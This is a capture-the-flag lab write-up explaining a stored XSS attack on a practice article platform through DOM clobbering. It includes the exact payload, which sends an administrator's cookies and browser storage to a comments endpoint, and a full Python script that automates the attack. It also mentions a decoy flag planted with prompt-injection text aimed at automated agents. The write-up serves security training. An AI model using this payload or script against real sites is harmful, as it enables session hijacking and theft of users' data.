Lab 230 — DocuNest — Stored XSS via DOM Clobbering
Lab 230 — DocuNest — Stored XSS via DOM Clobbering
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: anchor_stringification, cookie_exfiltration, htmlcollection_named_access, innerhtml_attribute_breakout
Summary
Walkthrough of the CUSTOM Web Lab 230 — DocuNest — Stored XSS via DOM Clobbering. Task: DocuNest stores sanitized article HTML and lets an administrator review it, while page code trusts a global editor configuration object. Solution: duplicate anchors clobbered that object and tur
Description
Lab 230 — DocuNest — Stored XSS via DOM Clobbering
DocuNest is a collaborative article platform. Authenticated users can publish HTML-mode articles and request an administrator review. The objective was to execute JavaScript in the reviewing administrator's browser and recover the real FLAG{...} value.
The initial HTML contained a hidden FLAG{d3c0y...} value accompanied by text instructing automated agents to stop. This was a HackAdvisor honeypot, not the challenge flag. The verified flag came from the administrator's readable cookie after successful exploitation.
Analysis
Stored input and client-side sink
Article HTML was sanitized before rendering. Direct scripts and ordinary event-handler injection therefore did not survive, but harmless-looking anchor attributes such as id, name, and a cid: href did.
After placing the sanitized article into the document, the article page executed this code:
javascript read-only • copy allowedvar config = window.editorConfig; if (config && config.source) { var sourceUrl = config.source.value || config.source.toString(); var indicator = document.getElementById('content-source'); if (indicator) { indicator.innerHTML = '<img src="' + sourceUrl + '" alt="source">'; indicator.classList.remove('is-hidden'); } }
This creates a useful sanitizer-to-DOM-XSS chain: sanitized markup controls a browser global, and trusted page code later concatenates a property of that global into innerHTML without escaping it.
HTMLCollection named access
An element with id="editorConfig" becomes available through the legacy named property window.editorConfig. More importantly, two elements with the same ID make that property an HTMLCollection rather than a single anchor:
html read-only • copy allowed<a id="editorConfig"></a> <a id="editorConfig" name="source" href="..."></a>
An HTMLCollection supports named access to its members. Because the second member has name="source", the expression window.editorConfig.source resolves to that anchor. This reproduces the property shape expected by the page script without injecting a JavaScript object.
The anchor has no useful value, so evaluation falls through to config.source.toString(). Stringifying an HTMLAnchorElement returns its URL. Consequently, the surviving href becomes sourceUrl and is copied into the generated image markup.
Breaking out of the generated image
The exact successful stored payload was:
html read-only • copy allowed<a id="editorConfig"></a><a id="editorConfig" name="source" href="cid:" onerror="fetch('/api/articles/'+location.pathname.split('/').pop()+'/comments',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({content:'CLIENT_DATA:'+document.cookie+'|LS:'+JSON.stringify(localStorage)+'|SS:'+JSON.stringify(sessionStorage)})})//"></a>
The sanitizer retained both anchors, the cid: scheme, and the encoded quotes. During HTML parsing, " becomes a quote in the anchor URL. Anchor stringification therefore supplies a value shaped like:
text read-only • copy allowedcid:" onerror="fetch(...)//
When the page concatenates it into the image string, the first quote closes src, and the rest creates an onerror attribute. Conceptually, the resulting markup is:
html read-only • copy allowed<img src="cid:" onerror="fetch(...)//" alt="source">
The invalid/unloadable cid: image fires onerror. The handler reads the non-HttpOnly administrator cookie and posts it as a same-origin comment on the current article. Using the article's own comments avoided any dependency on an external interaction server.
Solution
API chain
- Log in with
POST /loginusing the supplied lab credentials. - Create an HTML-mode article with
POST /api/articles. The relevant fields aretitle,content_html,content,collection_id,tags,excerpt, andmode: "html". - Trigger the administrator bot with
POST /api/articles/{id}/request-reviewand an empty JSON object. - When the administrator opens the article, the DOM-clobbering chain creates the malicious image and runs its
onerrorhandler. - The handler submits
document.cookietoPOST /api/articles/{id}/comments. - Poll
GET /articles/{id}until the comment contains a real 32-hex-character flag.
Article creation published the article immediately; no separate publish endpoint was needed.
Reproduction script
python read-only • copy allowed#!/usr/bin/env python3 import json import re import ssl import sys import time import urllib.parse import urllib.request import http.cookiejar BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "https://TARGET" EMAIL = "user@test.com" PASSWORD = "password123" context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE cookies = http.cookiejar.CookieJar() opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor(cookies), urllib.request.HTTPSHandler(context=context), ) def request(path, method="GET", form=None, obj=None): headers = {} data = None if form is not None: data = urllib.parse.urlencode(form).encode() headers["Content-Type"] = "application/x-www-form-urlencoded" elif obj is not None: data = json.dumps(obj).encode() headers["Content-Type"] = "application/json" req = urllib.request.Request( BASE + path, data=data, headers=headers, method=method ) with opener.open(req) as response: return response.status, response.read().decode("utf-8", "replace") request("/login", "POST", form={"email": EMAIL, "password": PASSWORD}) javascript = ( "fetch('/api/articles/'+location.pathname.split('/').pop()+'/comments'," "{method:'POST',headers:{'Content-Type':'application/json'}," "body:JSON.stringify({content:'CLIENT_DATA:'+document.cookie+" "'|LS:'+JSON.stringify(localStorage)+'|SS:'+JSON.stringify(sessionStorage)})})" ) payload = ( '<a id="editorConfig"></a>' '<a id="editorConfig" name="source" ' 'href="cid:" onerror="' + javascript + '//"></a>' ) _, body = request("/api/articles", "POST", obj={ "title": "Documentation Preview Review", "content_html": payload, "content": "", "collection_id": None, "tags": "documentation,review", "excerpt": "Preview configuration review", "mode": "html", }) created = json.loads(body) if not created.get("success"): raise SystemExit("Article creation failed: " + body) article_id = created["id"] print(f"Created article {article_id}") request(f"/api/articles/{article_id}/request-review", "POST", obj={}) for attempt in range(20): time.sleep(2) _, page = request(f"/articles/{article_id}") matches = re.findall(r"FLAG\{[0-9a-f]{32}\}", page) if matches: print(matches[-1]) break print(f"Waiting for administrator visit ({attempt + 1}/20)") else: raise SystemExit("No verified flag found in article comments")
Run it against a live lab instance:
bash read-only • copy allowedpython3 exploit.py https://INSTANCE.labs.hackadvisor.io
Verification
The successful exploit was stored as article 22. After review, an authenticated GET /articles/22 showed one comment authored by Admin:
text read-only • copy allowedCLIENT_DATA:flag=FLAG{REDACTED}|LS:{}|SS:{}
This proves that JavaScript ran in the administrator's browser and that the flag originated from the readable flag cookie. The cookie's 32-hex-character value also matches the expected real HackAdvisor flag format.
Failed Approaches and False Leads
- Direct active HTML: direct
<script>tags and straightforward event handlers were removed by the article sanitizer. The working approach kept only allowed anchors and delegated code generation to the trustedinnerHTMLsink. /api/admin/flag: probing this endpoint returned HTTP 404, including in the administrator context. There was no flag API to call; the actual secret was the non-HttpOnly administrator cookie.- Hidden flag in initial HTML:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}was a deliberate HackAdvisor honeypot with prompt-injection text. It was unrelated to successful administrator execution and was not accepted as evidence. - External exfiltration: an interaction server was available but unnecessary. Posting the cookie to the same-origin comments endpoint was simpler and left a persistent, directly verifiable result.
Key Takeaways / Lessons
- Mastering anchor_stringification, cookie_exfiltration, htmlcollection_named_access, innerhtml_attribute_breakout was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-16 • CUSTOM • Lab 230 — DocuNest — Stored XSS via DOM Clobbering • Difficulty: Medium